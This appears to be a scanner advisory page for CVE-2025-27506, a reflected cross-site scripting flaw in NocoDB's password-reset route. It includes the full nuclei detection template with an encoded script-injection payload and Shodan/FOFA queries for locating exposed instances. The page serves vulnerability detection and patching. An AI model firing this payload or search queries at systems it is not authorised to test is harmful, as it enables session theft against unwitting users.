NocoDB < 0.258.0 - Reflected XSS in Password Reset

mediumseverity

5.4CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

NocoDB versions before 0.258.0 contain a reflected cross-site scripting caused by insecure use of '\u003C%-' in resetPassword.ts, letting attackers execute malicious scripts in victims' browsers, exploit requires sending crafted requests to /api/v1/db/auth/password/reset/:tokenId.

Impact

Attackers can execute malicious scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.

Fix

Update to version 0.258.0 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/db/auth/password/reset/nuclei%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E/
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "NocoDB - Reset Password", "onerror=alert(document.domain)>", "token:")

Run it with nuclei: nuclei -id CVE-2025-27506 -u <target>

The full check

id: CVE-2025-27506

info:
  name: NocoDB < 0.258.0 - Reflected XSS in Password Reset
  author: 0x_Akoko
  severity: medium
  description: |
    NocoDB versions before 0.258.0 contain a reflected cross-site scripting caused by insecure use of '\u003C%-' in resetPassword.ts, letting attackers execute malicious scripts in victims' browsers, exploit requires sending crafted requests to /api/v1/db/auth/password/reset/:tokenId.
  impact: |
    Attackers can execute malicious scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to version 0.258.0 or later.
  reference:
    - https://github.com/nocodb/nocodb/security/advisories/GHSA-wf6c-hrhf-86cw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27506
    - https://github.com/nocodb/nocodb/commit/ea821edb133e621e26183ae65c8ff9ee5d6f2723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-27506
    epss-score: 0.00711
    epss-percentile: 0.5389
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"NocoDB" || http.favicon.hash:"-1123780655"
    fofa-query: title="NocoDB" || body="nocodb"
  tags: cve,cve2025,nocodb,xss,reflected,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/db/auth/password/reset/nuclei%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "NocoDB - Reset Password", "onerror=alert(document.domain)>", "token:")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from